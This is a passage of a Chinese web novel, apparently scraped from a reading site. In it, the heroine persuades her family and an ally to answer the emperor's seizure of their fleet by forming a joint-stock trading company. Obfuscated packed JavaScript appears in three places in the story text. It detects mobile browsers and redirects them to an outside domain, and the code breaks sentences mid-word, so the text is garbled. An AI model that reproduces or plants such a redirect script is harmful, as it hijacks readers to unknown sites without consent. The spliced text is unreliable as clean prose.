宋氏则像是被点燃了引线的炸药,再也压不住心头的怒火,她猛地一拍桌子,上面的茶具哗啦啦地碎了一地。 “欺人太甚!欺人太甚!!”她双目赤红,死死地瞪着皇宫的方向,像是要用目光把那座辉煌的牢笼烧成灰烬,“我们崔家为他大秦开疆拓土,他倒好,转过手来就抢!这是赏赐吗?这是明抢!还要给我们安一个荣誉侍郎?修园子?我呸!他怎么不去死!” “别说了!”崔温猛地抬起头,声音嘶哑地打断了她,“君要臣死,臣不得不死……我们有什么办法?抗旨吗?你想让全家上下几百口人,都跟着我们一起掉脑袋吗?” “那难道就这么认了?把姝儿的船队白白送给他?把你困在这京城里,当个修花园的废物?崔温!你还是不是个男人!” “我不认又能怎么样!啊?我能怎么样!” 书房里,瞬间被绝望的争吵和咆哮填满。 崔云姝就静静地站在一边,看着自己的父母,像两个溺水的人,在绝望中相互撕扯,却只能一起沉得更快。 她什么都没说。 就这么看着。 直到他们的声音都变得嘶哑,直到宋氏瘫在椅子里开始低声啜泣,直到崔温像一尊石像一样僵在那里,一动不动。 书房里,终于又恢复了死寂。 比刚才在庭院里,更加沉重,更加令人窒息的死寂。 “哭完了?” 崔云姝终于开口了。 她的声音平静得像一潭结了冰的深水。 崔温和宋氏同时抬起头,愕然地看着她。 “闹完了?” 她又问了一句。 “姝儿……”宋氏看着女儿那双古井无波的眼睛,心头一痛,以为她是伤心过度,反而变得麻木了,“我的儿,是娘没用,是爹没用……保不住你的心血……” “现在说这些,还有用吗?”崔云姝走到他们面前,目光在父亲灰败的脸和母亲红肿的眼上扫过,“哭能让皇帝收回圣旨吗?骂能让那三成利润变成十成吗?” 她的话,像冰锥一样,又冷又硬,刺得人心口生疼。 崔温嘴唇动了动,想说什么,却一个字也说不出来。 “皇帝为什么要这么做?”崔云姝没有给他们喘息的机会,直接抛出了问题。 “他……他贪图我们的船队……”宋氏下意识地回答。 “错。” 崔云姝斩钉截铁地吐出一个字。 “船队只是个由头。”她伸出一根手指,“他真正的目的,是‘削藩’。” “削藩?”崔温猛地一震,浑浊的眼睛里闪过一丝困惑。 “对,削藩。”崔云姝的语速不快,但每一个字都像一颗钉子,钉进她父母的心里,“崔家,现在就是皇帝眼里最大的那个‘藩’。我们有钱,有船,有遍布天下的关系网,甚至能一夜之间调动北境的军需。爹,娘,你们觉得,睡在龙椅上的那个人,他睡得着吗?” 书房里,一片死寂。 崔温和宋氏脸上的悲愤,渐渐褪去,取而代之的,是一种更深的,彻骨的寒意。 “所以,硬顶,是死路一条,抗旨的罪名,我们担不起。”崔云姝继续说道,她的逻辑清晰得可怕,“但就这么顺从地把船交出去,更是慢性死亡。今天他能拿走船队,明天他就能拿走我们所有的铺子,后天,他就能找个由头,抄了我们的家。这叫温水煮青蛙,等我们感觉到烫的时候,已经死了。” 崔温的身体不再发抖,他死死地盯着自己的女儿,仿佛第一次认识她一样。 “那……那我们该怎么办?”宋氏的声音里带着一丝颤抖的希冀,她像是抓住了最后一根稻草。 崔云姝没有立刻回答。 她走到书桌前,拿起一支笔,在一方空白的宣纸上,缓缓地,一笔一划地写下了六个大字。 大秦皇家海洋贸易。 然后,她在那六个字的后面,又添上了四个她父母从未见过,也无法理解的字。 股份有限公司。 “这是什么?”崔温凑过来,满脸困惑。 崔云姝抬起头,看着父母茫然的眼睛,嘴角,终于勾起了一丝冰冷的,带着一丝疯狂的笑意。 “破局之法。” “我们不但要交,”她一字一顿,声音里带着一种让人不寒而栗的平静,“我们还要拉着满朝文武,一起‘交’!” 轰! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455335|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔温和宋氏感觉自己的脑子,像是被一道惊雷劈中,嗡嗡作响。 “姝儿,你……你疯了?”宋氏失声叫道。 “我没疯。”崔云姝的眼神亮得吓人,“爹,你明天就上奏折,就说你领了圣旨,感激涕零,为了更好地为陛下分忧,为大秦开拓财源,你请求,将‘皇家船运司’,改制为‘大秦皇家海洋贸易股份有限公司’。” “股份……公司?”崔温感觉自己的舌头都在打结。 “对。”崔云姝的手指点在那几个字上,“我们告诉皇帝,这么大一盘生意,光靠崔家,或者光靠皇家,都做不大。我们欢迎,非常欢迎皇室入股,我们更欢迎,满朝的王公贵族,文武百官,都拿出钱来,一起投资入股!有钱出钱,有力出力,大家一起发财!” 书房里死一般的寂静。 崔温和宋氏像看怪物一样看着自己的女儿,他们完全无法理解,这到底是什么惊世骇俗的鬼话。 崔云姝知道他们不懂。 她深吸一口气,开始用最简单,最直白的方式,解释她这个来自另一个世界的,降维打击般的商业阳谋。 “第一,这叫‘法不责众’。”她的声音里带着一丝冷酷的笑意,“一旦太子、二皇子、英国公、张尚书、李侍郎……所有人都成了这个公司的股东,他们的身家性命就和我们的船队绑在了一起。到时候,皇帝再想动我们的船,他动的就不是崔家,是整个大秦的统治阶层!他敢吗?” 崔温的呼吸,猛地一滞。 “第二,这叫‘明失暗得’。”崔云姝的手指在海图上划过,“我们表面上让出了大部分的利润,我们甚至可以只要一成,不,半成!我们把大头的利润都分给他们,让他们拿到手软。但是,公司的‘经营权’,必须在我们手里。因为只有我们懂航海,只有我们有船长和水手,只有我们知道怎么和海外的蛮夷做生意。他们想赚钱,就必须依靠我们。他们是股东,是老板,但我们,是替他们赚钱的管家!只要我们能一直给他们带来利润,这个管家,谁也换不掉!” 宋氏的眼睛,一点点地亮了起来,愤怒和绝望被一种震惊和狂喜所取代。 “第三,也是最重要的一点,”崔云姝的目光变得无比深远,仿佛已经看到了未来的景象,“这叫‘化危为机’。爹,娘,皇帝想用一道圣旨把我们关进笼子,那我们就干脆把这个笼子,做成我们的新世界!我们借着皇帝的名义,用着百官的钱,造我们的船,开我们的航路,把崔家的一盘生意,变成一个根深蒂固,盘根错节,谁也无法撼动的商业联盟!他想打压我们?我们就踩着他的打压,站到更高的地方去!” ……懒得再解释了。 崔云姝说完,便不再言语,只是静静地看着自己的父亲。 书房里,只剩下崔温粗重的呼吸声。 他看着桌上那份写着“股份有限公司”的宣纸,又看看眼前这个眼神冰冷、思路清晰、仿佛一夜之间脱胎换骨的女儿。 巨大的震撼,如同海啸一般,冲垮了他几十年来建立起来的所有认知。 他以为是绝路,是末日。 可在女儿的口中,这绝路,却变成了一条通天大道。 他以为是枷锁,是牢笼。 可在女儿的计划里,这枷锁,却成了撬动整个天下的杠杆。 许久。 许久。 崔温缓缓地,颤抖着伸出手,抚摸着那张宣纸。 然后,他抬起头,用一种混合着敬畏、震撼和无比复杂的眼神,看着崔云姝,一字一顿地说道: “好……就按你说的……办。” 32.第 32 章 夜。 云间阁的顶楼雅间里,死一样地安静。 崔云姝觉得自己的神经,就像一根被拉到了极限的琴弦,在白天那场惊心动魄的家庭会议后,非但没有放松,反而绷得更紧了,在寂静的空气里,发出嗡嗡的,濒临断裂的悲鸣。 她不喜欢这种安静。 这让她能清晰地听见自己身体里的声音。血液流过血管的,嘶嘶的声响。心脏在胸腔里,沉闷而疲惫的,一次又一次的撞击。 她端起桌上的茶杯,茶水已经凉透了。 冰冷的液体滑过喉咙,带不来任何慰藉,反而让胃里泛起一阵痉挛般的寒意。 她成功地说服了父母。 用一个他们闻所未闻,甚至无法完全理解的,来自另一个世界的疯狂计划。 她看着他们从绝望,到震惊,再到燃起一丝病态的希望。她就像一个最高明的骗子,用最华丽的辞藻,将一条通往地狱的死路,描绘成了唯一的生天。 她自己都快信了。 如果不是那股从骨头缝里渗出来的,深入骨髓的疲惫和恐惧,在提醒着她—— 她所做的一切,不过是在悬崖边上,用沙子堆起一座看起来很美的城堡。 风一吹,就散了。 她需要一个盟友。 一个有足够的力量,能帮她把这座沙堡,暂时糊上一点水泥的盟友。 可她没想到,她的盟友,会以这样一种方式登场。 “砰——!” 雅间的门不是被推开的,是被人用肩膀硬生生撞开的。 木门撞在墙上,发出一声痛苦的巨响,整个房间都为之一震。 一个人影,带着一股子能把人烫伤的灼热怒火和凛冽的杀气,像一颗炮弹一样冲了进来。 是唐璞。 他身上还穿着禁军的制式铠甲,上面沾着夜露和尘土,一张俊朗的脸,此刻因为极致的愤怒而显得有些扭曲。他的眼睛是红的,不是哭过的红,是怒火烧灼的,像两块被投入了熔炉的烙铁。 “他们怎么敢!” 他一进来,连口气都没喘匀,就用一种压抑着雷霆的嘶吼,砸出了第一句话。 崔云姝的手指,几不可查地抖了一下。 凉透了的茶水,在杯中晃出一圈细碎的涟漪。 她抬起头,看着他。 用一种她自己都觉得陌生的,平静得近乎冷酷的眼神。 “坐。” 她吐出一个字。 唐璞像是没听见,他几步冲到桌前,双手重重地撑在桌面上,整个上半身都向她压过来。那股属于军人,混合着汗水、皮革和铁器味道的阳刚气息,夹杂着一股燎原般的怒火,瞬间将她包裹。 “圣旨的事,我都知道了!”他的声音压得很低,却像是在喉咙里磨着刀子,“那是我们的船!是我们未来大业的根基!是我们的海军!皇帝他……他这是在公然抢劫!他这是要砍断殿下的臂膀!釜底抽薪!” 崔云姝看着他因为愤怒而剧烈起伏的胸膛,看着他那双因为误解而燃烧着“革命热情”的眼睛,忽然觉得有点想笑。 不。 不是有点。 是非常想笑。 一种荒谬到极致,绝望到极致,反而催生出的,病态的笑意。 她花了一整天的时间,耗尽了所有的心力,才把自己的父母从崩溃的边缘拉回来,让他们相信,那不是抢劫,那是一次“机遇”。 结果现在,她最需要的盟友,却用一种比她父亲还要绝望,比她母亲还要愤怒的姿态,冲到她面前,准确无误地,一针见血地,指出了这件事的本质—— 就是抢劫。 她感觉自己像个精神分裂的病人。 一边扮演着力挽狂澜的救世主,一边扮演着深谋远虑的军师。 好累。 懒得演了。 “所以呢?”她轻轻放下茶杯,杯底和桌面碰撞,发出一声清脆的响声,在这片灼热的愤怒中,显得格外冰冷,“你想怎么样?” “反击!”唐璞斩钉截铁,毫不犹豫,“我们必须立刻反击!” “怎么反击?” “我来的时候已经想好了!”唐璞的眼睛里闪烁着一种狂热的光芒,他直起身,开始在雅间里焦躁地踱步,像一头被困在笼子里的猛虎。 “第一,我们不能让他这么轻易地拿到船!鲲鹏号不是还在港口修整吗?我们可以派人,伪装成海盗,趁着夜色,一把火把它烧了!或者,干脆凿沉在港口里!他要收?就让他去收一堆破烂!” 崔云姝的眼角,狠狠地跳了一下。 伪装成海盗? 大哥,你是不是生怕刑部大理寺的人太闲了,没案子查?这么大一艘船在自家港口里被“海盗”烧了,第一个查的就是我们崔家好吗?你这是反击?你这是主动把脖子伸到人家的铡刀下面啊! 她面无表情,端起茶壶,给自己又倒了一杯凉茶。 “风险太大,容易暴露。”她淡淡地说。 “那就第二个计划!”唐璞显然没把这点风险放在心上,他立刻抛出了B方案,“我立刻联系北境的几位叔伯,让他们连夜上奏折,就说北境边防吃紧,急需一支强大的水师,从海上侧翼牵制蛮族!请求陛下将崔家的船队,直接划拨给边军!我们得不到,也不能让皇帝舒舒服服地拿到手里!” 崔云姝感觉自己的太阳穴,开始一抽一抽地疼。 把船给边军? 你当皇帝是傻子吗?北境和东海隔了十万八千里,边军要水师干什么?在沙漠里开船吗?这奏折递上去,皇帝不觉得你是神经病,就得觉得你是想借着边军的名义,把船队变成你自己的私兵!到时候,就不是一个“削藩”的罪名了,是“意图谋反”! 她捏了捏眉心,感觉自己不是在跟一个盟友商量对策,是在给一个过度热血,且完全没有政治常识的实习生,做自杀行为干预。 “陛下不会同意的,朝堂上,也通不过。”她的声音里已经带上了一丝她自己都没察觉到的疲惫。 “那就只能用最后一招了!”唐璞猛地停下脚步,转过身,眼神狠厉得像一头准备噬人的狼,“釜底抽薪!我派人潜入东海船坞,把那些正在建造的新船,全都给我暗中破坏掉!让他就算成立了什么狗屁船运司,得到的也是一堆永远修不好的废铜烂铁!” 崔云姝彻底不想说话了。 她看着唐璞那张因为激动而涨红的脸,看着他那副“我为大业献毒计”的慷慨激昂。 她忽然觉得,皇帝那道圣旨,其实也没那么可怕了。 真正可怕的,是她眼前这个,一心一意要“帮助”她的,猪队友。 不,不能这么说。 他不是猪队友。 他是那种,为了帮你打跑一只蚊子,会毫不犹豫地烧掉你整座房子的,最忠诚的,最热血的,最要命的……盟友。 她深深地吸了一口气,然后又缓缓地吐出来,仿佛要把胸腔里所有的荒谬、无奈和想死的冲动,都一起吐出去。 她终于明白,为什么心理咨询师这个行业,折寿了。 “唐璞。” 她叫了他的名字,声音平静,却带着一种前所未有的郑重。 唐璞立刻站直了身体,像一个等待将军下令的士兵,目光灼灼地看着她。 “你说的这些,都很好。”崔云姝昧着良心,挤出了一句夸奖,她看到唐璞的眼睛瞬间就亮了,“但是,都太直接了。” “对付阳谋,难道不就该用雷霆手段吗?”唐璞不解。 “不。”崔云姝摇了摇头,她站起身,走到窗边,推开窗户。 深夜的凉风灌了进来,吹散了满室的焦躁和火气,也让她混乱的脑子,清醒了一点。 她需要重新包装她的计划。 用一种,他能听懂的,他愿意相信的,他会为之热血沸腾的语言。 “我们为什么要毁了船?”她没有回头,只是看着窗外模糊的夜色,轻声问道。 “因为……那是我们……” “不。”崔云姝打断他,“从今天起,那不再是我们的船。那是皇帝的船,是二皇子的船,是英国公的船,是满朝文武的船。我们的目标,不是毁掉它。” 她缓缓转过身,漆黑的眸子里,在月光下,闪烁着一种唐璞从未见过的,深邃而冰冷的光。 “我们的目标,是渗透它,控制它,最后……让它为我们所用。” 唐璞愣住了。 “这不叫屈服,唐璞。”崔云姝一步一步地走回他面前,声音压得极低,像是在分享一个惊天的秘密,“这叫‘特洛伊木马’。” 特洛伊木马?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459777|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 唐璞的脸上写满了茫然,这个词,他听都没听过。 崔云姝懒得跟他解释希腊神话。 她用最简单,最粗暴,也最符合他认知的方式,阐述了她的“阳谋”。 “皇帝想要船,我们就给他。他想要公司,我们就帮他开。他想让百官看着我们,我们就干脆,把所有人都拉下水!” “我们主动上书,成立‘大秦皇家海洋贸易股份有限公司’!我们告诉皇帝,我们不要那三成利润了,我们只要一成!剩下的九成,我们欢迎皇室入股,我们更欢迎太子殿下、二皇子、安郡王府、英国公府、张尚书、李侍郎……所有想赚钱的人,都投钱进来!大家一起当股东,有钱一起赚!” 唐璞的嘴巴,慢慢地张大了。 他脸上的愤怒和狂热,渐渐褪去,取而代之的,是一种巨大的,无法理解的震惊。 “这……这不是资敌吗?”他艰难地吐出一句话。 “是,又不是。”崔云姝的嘴角,终于勾起了一抹冰冷的,带着一丝疯狂的笑意,“我们把利润都分给他们,让他们赚得盆满钵满。但是,公司的经营权,必须在我们手里。因为只有我们懂航海,懂贸易,懂怎么造出最好的船。他们想赚钱,就离不开我们。” “你想想看,”她循循善诱,像一个引诱凡人堕落的魔鬼,“当太子是我们的股东,当朝中一半的大臣都是我们的股东,当他们每年的收益,都指望着我们的船队出海时……这支船队,到底是谁的?” “我们用着皇帝的钱,用着百官的钱,造我们自己的船,养我们自己的人,开拓我们自己的航线!我们把整个朝堂,都变成了我们‘大业’的提款机!你说,这和我们直接拥有船队,又有什么区别?” 轰—— 唐璞感觉自己的脑子里,像是被一道天雷劈过。 所有的愤怒,所有的不甘,所有的迷茫,都在这一瞬间,被一种醍醐灌顶般的,巨大的彻悟所取代。 他看着崔云姝,那张在月光下显得有些苍白,却又因为那双亮得吓人的眼睛而充满了奇异魅力的脸。 他忽然觉得自己刚才那些烧船、沉船、破坏船坞的计划,是何等的幼稚,何等的可笑。 硬碰硬,那是莽夫所为。 而眼前这个人,她所设计的,是一个何等宏大,何等阴险,何等……天才的计谋! 这不是屈服! 这是反向吞噬! 她要把皇帝,把整个朝堂,都变成她掌心里的玩物! “我明白了……”唐璞喃喃自语,他的声音里带着一丝因为过度激动而产生的颤抖,“我……我彻底明白了……” 他看着崔云姝的眼神,已经从最初的盟友,变成了狂热的信徒。 “郡主……不,谋主!”他猛地单膝跪下,用一种前所未有的,发自肺腑的敬畏,仰视着她,“唐璞愚钝!险些坏了您的大计!请谋主恕罪!” 崔云姝:“……” 她看着跪在自己面前的唐璞,看着他那双重新燃烧起来,并且比刚才还要亮上十倍的眼睛,感觉自己的胃,又开始疼了。 完了。 好像……玩得更大了。 “我……我立刻就去办!”唐璞根本没等她回答,就自己站了起来,激动得满脸通红,“我这就回王府,凑集所有的银两!我们安郡王府,要做第一个股东!最大的股东!我再去联系军中的兄弟们!让他们也砸锅卖铁,一起入股!为了大业,我们万死不辞!” 他说完,像来时一样,一阵风似的,转身就冲了出去。 甚至,还体贴地,帮她带上了门。 雅间里,又恢复了那种死一样的寂静。 崔云姝缓缓地,缓缓地坐回椅子里。 她端起那杯已经没有一丝热气的凉茶,一饮而尽。 冰冷的茶水,从喉咙一路凉到胃里,再凉到四肢百骸。 她看着窗外那轮残月,忽然觉得,自己的未来,可能比这杯茶,还要凉。 她只是想赚点钱,造艘船,然后找个谁也不认识的地方,安安稳稳地活下去。 怎么就…… 怎么就成了要带领满朝文武一起造反的,反贼头子了呢? 她把脸埋进手掌里,发出一声轻不可闻的,近乎呻吟的叹息。 这贼船,是彻底下不去了。 33.第 33 章 天还没亮透,崔温就已经站在了太极殿的丹墀之下。 晨风是冷的,像一把带着冰碴子的刀,刮过他僵硬的脸颊,却吹不散他心头那团越烧越旺的火。 不是怒火。 是恐惧的火。 他能感觉到自己的四肢百骸,都在这股无声的火焰里,一点点地变成灰。 他能闻到这座大殿的味道。一种混合着百年金丝楠木的沉香、御赐熏香的甜腻,以及权力本身那股子冰冷、肃杀的铁锈味。这种味道,他闻了几十年,从未像今天这样,让他感到窒息。 周围站满了人。 文臣武将,紫袍金带,像一尊尊沉默的、没有生命的雕像。他们都在等。等着看他崔家,如何咽下皇帝陛下亲手喂过来的那颗,裹着蜜糖的砒霜。 崔温的目光,越过人群,落在最前方那两个年轻挺拔的身影上。 太子唐景承,和二皇子唐景明。 一个温润如玉,一个阴鸷如鹰。 他知道,今天这场戏,真正的观众,是龙椅上那个高高在上的,看不清表情的人。而他,崔温,不过是女儿推到台前的一个提线木偶。 一个连台词都背得磕磕巴巴的,蹩脚的演员。 他的手心全是冷汗,那本被他藏在袖中的奏折,已经被汗水浸得有些发软,像一块湿了水的年糕,沉甸甸地,坠着他的心。 他怕。 怕自己说错一个字。 怕自己一个眼神不对,就让女儿所有的心血,连同整个崔家,万劫不复。 懒得想了。 死就死吧。 当太监那声尖锐悠长的“有事启奏,无事退朝——”响起时,崔温感觉自己的心脏,像是被一只无形的手狠狠攥了一下。 就是现在。 在所有人都以为他会像一条被打断了脊梁的老狗一样,出列谢恩,或者悲戚陈情的时候。 崔温,迈出了那一步。 他走出队列,跪倒在地,声音因为极度的紧张而有些嘶哑,却又因为某种破釜沉舟的决绝而显得异常清晰。 “臣,工部侍郎崔温,有本启奏!” 整个大殿,静得能听到一根针掉在地上的声音。 所有人的目光,都像探照灯一样,瞬间聚焦在他身上。 龙椅上的皇帝,原本有些慵懒地靠着椅背,此刻也微微坐直了身体,眼神里透出一丝不易察觉的审视。 “讲。” 皇帝的声音,不高,却带着泰山压顶般的威严。 崔温深深地吸了一口气,将头埋得更低。 “臣,叩谢陛下天恩!”他先是规规矩矩地磕了个头,“陛下圣明,成立‘皇家船运司’,统管天下海运,实乃我大秦万世之基业!臣与崔氏一族,感激涕零,愿为陛下,为大秦,粉身碎骨,在所不辞!” 一套漂亮的场面话。 朝堂上响起几声若有若无的嗤笑。 二皇子的嘴角,勾起一抹毫不掩饰的轻蔑。 崔温没有理会。他从袖中取出那本已经有些湿软的奏折,双手高高举过头顶。 “然,臣窃以为,船运司之利,远不止于此!此乃利国利民之千秋大业,若只由皇家与崔家独揽,未免格局太小,亦有负陛下开拓海疆之雄心!为更好地为陛下分忧,为大秦广开财源,臣斗胆,恳请陛下……将‘皇家船运司’,改制为‘大秦皇家海洋贸易股份有限公司’!” …… …… …… 股份有限公司? 这是什么鬼东西? 整个太极殿,陷入了一种诡异的,长达数十秒的死寂。 所有人都懵了。 他们瞪大了眼睛,看着跪在地上的崔温,仿佛在看一个从天而降的怪物。 就连一直稳如泰山的太子唐景承,脸上都露出了一丝错愕。 皇帝的眉头,几不可查地皱了一下。 这四个字,他从未听过。 这四个字组合在一起,透着一股子让他感到陌生,甚至……有些不安的气息。 终于。 死寂被一声暴喝打破。 “一派胡言!” 户部尚书张格,二皇子最忠实的一条狗,第一个跳了出来。他指着崔温的鼻子,唾沫横飞。 “崔温!你疯了不成!公司?股份?此等闻所未闻的商贾贱流之语,岂能用于朝堂之上!你将朝廷官制,将皇家威严,置于何地?我看你不是想为国分忧,你分明是妖言惑众,试图乱我大秦国本,其心可诛!” “张尚书此言差矣!” 崔温还没开口,另一名官员立刻站了出来反驳,那人是京中一个没落的世家子弟,早就对崔家的海外贸易眼红不已。 “崔侍郎之言,虽闻所未闻,却未必不是良策!若能引百官之资,共襄盛举,岂不比崔家独木支撑要强得多?我大秦国库空虚,若能借此开辟财源,充盈国库,乃是利国利民的大好事啊!” “好事?简直是滑天下之大稽!”张格冷笑一声,“让朝廷命官,都去做那商贾之事?成何体统!我大秦的脸面还要不要了?” “脸面能当饭吃吗?脸面能填饱北境将士的肚子吗?” “你……” 朝堂之上,瞬间炸开了锅。 像一个被捅了的马蜂窝,嗡嗡作响,乱作一团。 以二皇子为首的保守派官员,纷纷跳出来,痛斥崔温离经叛道,包藏祸心,是想用铜臭之气,玷污朝堂。他们引经据典,从祖宗之法到圣人教诲,把崔温的提议贬得一文不值。 而另一边,那些嗅觉灵敏,早就对崔家海外贸易的暴利垂涎三尺的世家勋贵,以及一些思想相对开明,希望能为国库找到新财源的官员,则纷纷意动,开始为崔温辩护。 双方唇枪舌剑,吵得不可开交。 崔温跪在中央,像暴风眼中的一叶扁舟,任凭周围的惊涛骇浪拍打,他只是死死地咬着牙,将头埋在地上,一言不发。 女儿交代过,他只需要点燃这把火。 剩下的,会有人来帮他。 果然。 就在二皇子一党即将占据上风,眼看就要给崔温扣上一个“乱政”的大帽子时,一个清朗的声音,如玉石相击,清晰地响彻整个大殿。 “儿臣,有话要说。” 是太子,唐景承。 他缓缓走出队列,对着龙椅上的皇帝躬身一礼,姿态优雅,从容不迫。 “父皇,儿臣以为,崔侍郎此策,看似离经叛道,实则……暗合大道。” 他一开口,所有的争吵都停了下来。 二皇子阴沉的目光,像毒蛇一样钉在他身上。 “《管子》有云:‘利出一孔者,其国无敌’。然,亦有云:‘不务天时,则财不生;不务地利,则仓廪不盈’。如今我大秦四海升平,然国库并不充盈,北境军费,河工修缮,处处捉襟见肘。为何?皆因税赋有限,藏富于民,却未能化为国用。” “崔侍郎此法,正是要开一个‘化民之私财,为国之公利’的新路子。让天下资本,汇流入海,为国远航,所获之利,上缴国库,下分百官,如此,既能充盈国库,又能激励百业,藏富于国,亦藏富于民。此乃一举多得之良策,何来乱政之说?” 太子引经据典,侃侃而谈。他没有纠结于“公司”、“股份”这些新奇的词汇,而是直接将其拔高到了“国计民生”的战略层面。 一番话,说得那些原本还在观望的中立派大臣,都纷纷点头,露出了思索的神色。 二皇子的脸色,变得更加难看了。 就在这时。 一个更加响亮,更加中气十足的声音,如同平地起惊雷,猛地炸响。 “臣,安郡王唐璞,附议!” 唐璞手持笏板,大步流星地走出武将队列。他不像太子那般引经据典,他的话,简单,直接,充满了军人的铁血味道。 “陛下!臣刚从北境归来!臣亲眼所见,我大秦的将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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拒绝? 他看了一眼太子,又看了一眼唐璞,再扫视一圈下面那些跃跃欲试的臣子。 他意识到,他已经不能轻易地拒绝了。 强行拒绝,意味着他将同时得罪太子、军方,以及朝中大部分的勋贵世家。 好手段。 真是好手段啊。 皇帝的嘴角,缓缓地,勾起了一抹谁也看不懂的,冰冷的笑意。 “此事……” 他终于开口了。 大殿之内,瞬间鸦雀无声。 “……可议。” 两个字,轻飘飘的,却重若千钧。 二皇子的心,沉到了谷底。 而跪在地上的崔温,那颗悬了一早上的心,终于落回了肚子里,他感觉自己的后背,已经全被冷汗湿透了。 皇帝的声音还在继续。 “传朕旨意,由太子牵头,吏部、户部、兵部、工部协同,成立议事小组,崔温也列席其中,共同商议……这‘公司章呈’的具体事宜。拟出章程后,再奏报于朕。” 旨意下达。 崔家,成功地,将皇帝一道不容置喙的“命令”,拖入了一场可以反复拉扯,可以讨价还价的“谈判”。 退朝的钟声响起。 崔温被人搀扶着,走出太极殿。 午后的阳光照在他身上,他却感觉不到一丝暖意,只觉得浑身发冷。 他知道,今天,只是一个开始。 回到崔府,他第一时间冲进了女儿的书房。 崔云姝早已等在那里,神色平静,仿佛早已预料到了一切。 她没有问朝堂上的事,只是铺开一张雪白的宣纸,提起笔,沾满了墨。 然后,在父亲震撼的目光中,她一笔一划,沉稳有力地写下了一行大字。 《大秦皇家海洋贸易股份有限公司章程草案》。 她抬起头,看着窗外,轻声说道: “爹,真正的战斗,现在才开始。” 34.第 34 章 崔温回到家的时候,感觉自己整个人都是空的 。 像是被抽干了血,又灌满了冰冷的铅。 他走进书房,扑面而来的是女儿身上那股子熟悉的,混着新墨和旧书卷的干燥气味。这味道在今天,第一次让他感到了一种近乎刺鼻的陌生。 他瘫坐在椅子里,连抬起手指的力气都没有。 太极殿上的每一张脸,每一个眼神,每一次呼吸,都还在他脑子里反复地,疯狂地,无声地回放。张格的唾沫星子,二皇子的冷笑,太子温润面具下的刀光,唐璞那小子不管不顾的莽撞,还有龙椅上那个人……那个人深不见底的,看不出喜怒的眼神。 像一场噩梦。 一场他演砸了,却又莫名其妙被判了“通过”的噩梦。 “爹。” 崔云姝的声音把他从那片粘稠的,令人窒息的回忆里拽了出来。 他抬起头,看着自己的女儿。 她就坐在那里,灯下,手里端着一杯已经凉了的茶,脸上没有半分波澜。没有喜悦,没有激动,甚至没有一丝一毫的,劫后余生的庆幸。 平静得,像个鬼。 “朝堂上的事,我都知道了。” 宋氏也从内室走了出来,她眼圈还是红的,但脸上已经没有了之前的绝望,取而代-之的,是一种混杂着担忧,不解,和一丝微弱希望的复杂神情 。 崔温张了张嘴,想把今天朝堂上的惊心动魄说给她听,想告诉她,他们是怎样在刀尖上跳了一支舞,又是怎样侥幸没有掉下去。 可话到嘴边,却变成了一阵干涩的,不成调的嘶嘶声。 “成了……”他最后只挤出这两个字,“议事小组……成立了。太子牵头……” 他说不下去了。 成了,又怎么样呢? 那不过是把铡刀落下的时间,往后拖了几天而已。接下来要面对的,是那群吃人不吐骨头的豺狼虎豹。他们会把崔家,连皮带骨,啃得一干二净。 他知道,真正的较量,在于接下来要制定的那份,他连名字都念不顺口的,“章程” 。 崔云姝放下了茶杯。 她站起身,走到那张巨大的书案前,铺开了一张崭新的,雪白的宣纸。 月光透过窗棂,洒在纸上,泛着一层冰冷的光。 她提起笔,饱蘸浓墨。 笔尖在纸上悬停了片刻,然后,稳稳地,一笔一划地,落下。 《大秦皇家海洋贸易股份有限公司章程草案》。 十四个字。 每一个字,都像是用铁水浇筑而成,带着一股子不容置疑的,冰冷的,要将这个世界砸开一个窟窿的决绝。 崔温和宋氏都凑了过去,看着那行字,呼吸都停滞了。 “姝儿……”宋氏的声音里带着颤抖,“这……这要怎么写?” 崔云姝没有回答。 她只是又蘸了蘸墨,在那行标题之下,开始书写。 她的声音,随着笔尖的游走,在寂静的书房里,清晰地响起,像是一场来自另一个世界的布道。 “第一条,所有权与经营权分离。” 她吐出的每一个字,都让崔温和宋氏感到陌生。 “什么意思?”崔温下意识地问。 “意思就是,皇帝也好,百官也好,他们投了钱,就是‘股东’。他们可以年底拿着账本,看我们赚了多少钱,然后按照他们投的钱,拿走属于他们的那份红利。” “但是,”崔云姝的笔锋一转,声音也随之变得锐利,“他们不能插手公司的任何具体事务。船买什么样的,航线怎么走,和谁做生意,货物卖什么价钱,这些,他们都无权过问。负责这些事的,是‘总办’。” “总办?” “一个大管家。一个只对公司的盈利负责,不对任何股东的个人喜好负责的大管家。” 崔云姝说得轻描淡写,崔温却听得心惊肉跳。 让皇帝和百官只拿钱,却不能管事?这……这怎么可能?他们会同意吗? “第二条,设立董事会。” 崔云姝没有理会父亲的震惊,继续写下去。 “所有出了钱的,都可以派人,组成一个‘董事会’。这是公司的最高决策机构,听起来,权力很大。” 她的嘴角,勾起一抹几乎看不见的,冰冷的弧度。 “但是,章程里必须写明:所有涉及到公司经营方略、航线开拓、船只建造等核心事务的议案,必须由占股超过一成,且拥有至少十年远航经验的‘技术股东’,发起。” “技术股东?”宋氏喃喃地重复着这个词。 